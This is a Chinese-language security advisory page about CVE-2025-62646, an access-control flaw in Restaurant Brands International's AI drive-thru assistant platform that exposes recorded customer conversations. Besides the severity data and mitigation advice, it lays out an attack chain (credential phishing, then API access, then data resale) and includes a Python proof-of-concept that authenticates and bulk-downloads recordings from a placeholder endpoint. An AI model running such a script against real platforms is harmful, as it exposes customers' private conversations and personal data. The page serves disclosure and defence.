IPBUF安全漏洞报告
English
CVE-2025-62646 CVSS 5.0 中危

CVE-2025-62646:RBI助手平台Drive-Thru音频数据泄露漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-62646
漏洞类型
信息泄露/未授权访问
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Restaurant Brands International (RBI) Assistant Platform

相关标签

信息泄露未授权访问访问控制缺陷数据隐私音频数据泄露RBIRestaurant Brands International汉堡王Burger KingTim Hortons

漏洞概述

CVE-2025-62646是存在于Restaurant Brands International(RBI,餐饮品牌国际公司)助手平台中的一个安全漏洞。RBI是全球知名的快餐连锁集团母公司,旗下拥有汉堡王(Burger King)、蒂姆霍顿斯(Tim Hortons)、波派斯(Popeyes)及Firehouse Subs等多个知名餐饮品牌。该公司在其门店(尤其是得来速/Drive-Thru通道)广泛部署了AI语音助手系统,用于自动化处理顾客的点餐流程。

该漏洞存在于RBI助手平台的音频数据存储与访问控制机制中。攻击者无需高权限即可通过网络远程访问该平台,检索并收听存储在系统中的得来速通道顾客与门店员工之间的对话录音。这些录音内容可能包含顾客的姓名、订单详情、支付信息片段、位置偏好以及其他敏感个人信息,严重侵犯了顾客的隐私权。

该漏洞的CVSS评分为5.0,属于中危级别。虽然其完整性和可用性不受影响,但由于涉及范围变更(Scope Changed),实际影响范围被扩大。漏洞披露日期为2025年10月17日,由安全研究员bobdahacker发现并报告。此事件引发了媒体广泛关注,Malwarebytes和Yahoo News等均对此进行了报道,凸显了快餐行业AI系统中数据保护措施的不足。

技术细节

从技术层面分析,该漏洞的核心问题在于RBI助手平台的访问控制机制存在缺陷。该平台存储了大量得来速通道的音频对话数据,用于AI模型的训练和对话质量审查。然而,平台在API端点上未能正确实施身份验证和授权检查,导致具备低权限(PR:L)的远程攻击者可以通过网络(AV:N)直接访问存储的音频文件。

漏洞利用不需要用户交互(UI:N),攻击复杂度低(AC:L),这意味着任何已获得基本凭证或能够访问平台API的攻击者都可以利用此漏洞。具体而言,攻击者可能通过以下方式利用:

1. 通过网络访问RBI助手平台的API端点;
2. 利用低权限凭证进行身份验证;
3. 绕过或利用缺失的授权检查,访问存储的音频数据;
4. 下载或流式收听得来速通道的历史对话录音。

由于CVSS向量中包含S:C(范围变更),这表明该漏洞的影响超出了RBI助手平台本身,可能影响到与之集成的门店运营系统或下游服务。机密性影响为低(C:L),因为虽然可以访问音频数据,但攻击者无法修改或删除数据(I:N, A:N)。该漏洞影响所有截至2025年9月6日仍在使用的RBI助手平台版本。

攻击链分析

STEP 1
步骤1:获取低权限凭证
攻击者通过钓鱼攻击、凭证填充(Credential Stuffing)、内部威胁或利用其他已泄露的凭证数据库,获取RBI助手平台的低权限账号凭证。
STEP 2
步骤2:身份验证
使用获取的低权限凭证登录RBI助手平台,成功通过身份验证获取有效的访问令牌(Access Token)。
STEP 3
步骤3:访问音频存储API
利用平台缺失或不完善的访问控制机制,调用音频录音列表API端点,获取所有可访问的得来速通道对话录音元数据。
STEP 4
步骤4:下载/收听录音
通过录音下载或流式播放接口,获取得来速通道顾客与员工之间的完整对话音频内容。
STEP 5
步骤5:数据利用
对获取的音频数据进行分析,提取顾客个人信息、订单习惯、支付细节等敏感数据,用于身份盗窃、欺诈或出售给第三方。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62646 PoC - RBI Assistant Platform Audio Data Exposure # This PoC demonstrates how an attacker with low-level credentials # can access stored drive-thru conversation recordings import requests import json # Target RBI Assistant Platform API endpoint BASE_URL = "https://[target-rbi-platform]/api/v1" # Step 1: Authenticate with low-privilege credentials def authenticate(username, password): """ Authenticate to the RBI Assistant Platform using low-privilege credentials """ auth_endpoint = f"{BASE_URL}/auth/login" payload = { "username": username, "password": password } response = requests.post(auth_endpoint, json=payload, verify=False) if response.status_code == 200: return response.json().get("access_token") return None # Step 2: List available audio recordings (improper access control) def list_audio_recordings(token): """ Exploit improper access control to list stored drive-thru audio recordings """ headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # The endpoint lacks proper authorization checks recordings_endpoint = f"{BASE_URL}/recordings/drive-thru" params = { "limit": 100, "offset": 0, "date_from": "2025-01-01", "date_to": "2025-09-06" } response = requests.get(recordings_endpoint, headers=headers, params=params, verify=False) if response.status_code == 200: return response.json() return None # Step 3: Download specific audio recording def download_recording(token, recording_id): """ Download a specific drive-thru conversation recording """ headers = { "Authorization": f"Bearer {token}" } download_endpoint = f"{BASE_URL}/recordings/{recording_id}/audio" response = requests.get(download_endpoint, headers=headers, verify=False) if response.status_code == 200: filename = f"drive_thru_recording_{recording_id}.wav" with open(filename, "wb") as f: f.write(response.content) print(f"[*] Recording saved: {filename}") return True return False # Main exploitation chain if __name__ == "__main__": # Low-privilege credentials (could be obtained through phishing, credential stuffing, etc.) USERNAME = "associate_user" PASSWORD = "weak_password_123" print("[*] CVE-2025-62646 - RBI Assistant Platform Audio Data Exposure PoC") print("[*] Authenticating with low-privilege credentials...") token = authenticate(USERNAME, PASSWORD) if token: print("[+] Authentication successful") print("[*] Fetching available drive-thru recordings...") recordings = list_audio_recordings(token) if recordings: print(f"[+] Found {len(recordings)} accessible recordings") # Download first 5 recordings as demonstration for recording in recordings[:5]: rec_id = recording.get("id") download_recording(token, rec_id) else: print("[-] No recordings found or access denied") else: print("[-] Authentication failed")

影响范围

Restaurant Brands International (RBI) Assistant Platform <= 2025-09-06

防御指南

临时缓解措施
在等待官方补丁发布期间,建议采取以下临时缓解措施:1)立即审查并限制所有RBI助手平台账号的权限,确保最小权限原则;2)监控API访问日志,识别异常的音频数据访问行为;3)暂时禁用非必要的音频数据远程访问功能;4)对存储的音频录音实施额外的加密保护;5)轮换所有平台账号的凭证;6)部署入侵检测系统(IDS)监控可疑的网络流量;7)评估已泄露数据的范围,通知可能受影响的顾客并采取补救措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表